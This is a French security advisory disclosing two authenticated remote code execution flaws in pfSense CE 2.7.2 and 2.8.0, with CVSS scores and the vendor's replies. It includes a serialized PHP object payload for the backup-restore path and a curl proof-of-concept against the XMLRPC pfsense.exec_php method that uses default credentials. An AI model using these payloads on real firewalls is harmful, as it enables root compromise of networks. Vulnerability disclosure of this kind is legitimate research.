
RCE authentifié dans Netgate pfSense CE 2.7.2 et 2.8.0
Exécution de code à distance authentifiée dans Netgate pfSense Community Edition
| Champ | Détails |
|---|---|
| Chercheur | Nelson Adhepeau (@privlabs) |
| Fournisseur | Netgate |
| Produit | pfSense Community Edition |
| Versions | 2.7.2 et 2.8.0 |
| Type | Exécution de code à distance authentifiée |
| Divulgation | Février 2026 |
| Fournisseur notifié | 2 décembre 2025 |
| CVE attribué | 28 janvier 2026 |
Cette recherche a été menée dans des environnements de laboratoire isolés à des fins éducatives et de sensibilisation à la sécurité uniquement. Toutes les découvertes ont été divulguées de manière responsable au fournisseur avant la publication. Cet avis ne constitue pas une invitation à attaquer des systèmes de production. Les tests non autorisés sont illégaux.
| Champ | Valeur |
|---|---|
| CVSS v3.1 | 8.8 (Élevé) |
| Vector | AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-502, CWE-915 |
| Type d'attaque | Authentifié (Admin) |
| Composant | Mécanisme de sauvegarde/restauration |
Le mécanisme de restauration de configuration de pfSense appelle unserialize() sur des données contrôlées par l'utilisateur sans liste blanche de classes, validation d'entrée ou sandboxing.
Un fichier de sauvegarde malveillant contenant un objet PHP sérialisé malicieux injecte des commandes arbitraires via la propriété post_reboot_commands, qui sont exécutées via mwexec() avec les privilèges root complets.
[Attacker] → Login as admin
→ Upload malicious .xml backup file
→ Trigger restore
→ pfSense calls unserialize() on attacker data
→ post_reboot_commands executed via mwexec()
→ [ROOT SHELL]
config.php — logique de traitement de la restaurationpfsense_module_installer — cible de désérialisation non sécuriséemwexec() — puits d'exécution de commandesO:23:"pfsense_module_installer":1:{
s:17:"*post_reboot_commands";
a:1:{
i:0;s:40:"/usr/local/bin/php -r 'system(\"id\");'";
}
}
"Reconnu. Classé comme abus administratif authentifié. Aucun correctif ne sera publié." — Netgate
| Champ | Valeur |
|---|---|
| CVSS v3.1 | 9.9 (Critique) |
| Vector | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-284, CWE-915 |
| Type d'attaque | Authentifié (à distance, Auth de base) |
| Composant | API XMLRPC — pfsense.exec_php |
pfSense CE 2.8.0 expose une méthode XMLRPC pfsense.exec_php qui exécute du code PHP arbitraire en tant que root sans validation, sandboxing ni aucune forme de restriction.
Le point d'accès est :
admin:pfsense)[Attacker] → Send XMLRPC request to /xmlrpc.php
→ Authenticate with admin:pfsense (default)
→ Call pfsense.exec_php with arbitrary PHP
→ Code executes as root, no sandboxing
→ [ROOT SHELL]
xmlrpc.php — point d'entrée de l'APIpfsense.exec_php — exécution de code dynamique non sécuriséecurl -k -u admin:pfsense \
-H "Content-Type: text/xml" \
-d '<methodCall>
<methodName>pfsense.exec_php</methodName>
<params>
<param>
<value><string>system("id");</string></value>
</param>
</params>
</methodCall>' \
https://<target>/xmlrpc.php
"Reconnu. Classé comme comportement attendu pour les utilisateurs authentifiés. Aucun correctif prévu." — Netgate
November 2025 → Vulnerabilities discovered
December 2, 2025 → Responsible disclosure to Netgate
→ Vendor acknowledged, no patch planned
January 28, 2026 → CVE IDs assigned by MITRE
February 2026 → Public disclosure
[email protected]Nelson Adhepeau — Chercheur en sécurité indépendant